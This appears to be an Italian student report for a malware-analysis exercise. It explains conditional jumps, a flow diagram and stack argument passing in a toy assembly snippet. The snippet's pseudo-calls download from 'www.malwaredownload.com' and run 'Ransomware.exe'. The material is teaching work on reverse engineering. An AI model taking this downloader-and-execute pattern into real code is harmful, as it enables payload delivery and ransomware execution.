Progetto S11-L5

Analisi Malware

Traccia

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

Spiegate, motivando, quale salto condizionale effettua il Malware.

Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.

Quali sono le diverse funzionalità implementate all'interno del Malware?

Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione.

Traccia

Tabella 1

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Traccia

Tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Spiegazione dei salti condizionali

Il codice inizia assegnando il valore 5 al registro EAX e il valore 10 al registro EBX. Successivamente, l'istruzione confronta il valore in EAX (che è 5) con il valore 5. Se i due valori sono uguali, viene impostato il flag di zero. L'istruzione di salto condizionale, jnz, si verificherebbe solo se il flag non fosse zero, facendo un salto alla locazione 0040BBA0. Tuttavia, questo non avviene poiché il valore di EAX è proprio 5.

D'altra parte, il secondo salto condizionale avviene con successo grazie alla condizione verificata. Prima di tutto infatti, il valore nel registro EBX (che è 10) viene incrementato di 1 e successivamente questo nuovo valore (11) viene confrontato con 11. Se i due valori sono uguali, l'istruzione di salto jz crea un salto alla locazione 0040FFA0.

Le due condizioni sono contrassegnate rispettivamente con un rettangolo rosso e uno verde per evidenziare la differenza nell'esecuzione del salto condizionale.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Diagramma di flusso

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Funzionalità implementate nel Malware

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Il malware è poliedrico e in grado di eseguire diverse azioni dannose sul sistema infetto, inclusi il download e l'esecuzione di file malevoli.

Download di file da un URL: Se il valore in EAX è diverso da 5, il malware salta a una locazione specifica (0040BBA0), dove si trova la logica per scaricare un file da un URL specifico (www.malwaredownload.com). Questo suggerisce che il malware è in grado di recuperare file malevoli da Internet e potrebbe essere una delle vie attraverso cui si diffonde o aggiorna.

Esecuzione di un file eseguibile: Se il valore in EBX è uguale a 11, il malware salta a un'altra locazione (0040FFA0), dove si trova la logica per eseguire un file eseguibile specifico (C:\Program and Settings\Local User\Desktop\Ransomware.exe). Questa parte del codice indica che il malware è in grado di avviare processi locali e potrebbe essere coinvolto in attività dannose, come l'esecuzione di ransomware o altre minacce.

Passaggio degli argomenti tramite stack

Nel caso del malware descritto, gli argomenti vengono passati alle chiamate di funzione tramite lo stack, che è un'area di memoria utilizzata per l'archiviazione temporanea dei dati durante l'esecuzione del programma.

Prima della chiamata di funzione DownloadToFile(), viene eseguita l'istruzione push EAX. Questo mette il valore contenuto in EAX, che rappresenta l'URL, nello stack. Quindi, quando DownloadToFile() viene eseguita, può recuperare il suo argomento dallo stack.

Prima della chiamata di funzione WinExec(), viene eseguita l'istruzione push EDX. Questo mette il valore contenuto in EDX, che rappresenta il percorso del file eseguibile, nello stack. Quindi, quando WinExec() viene eseguita, può recuperare il suo argomento dallo stack.

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione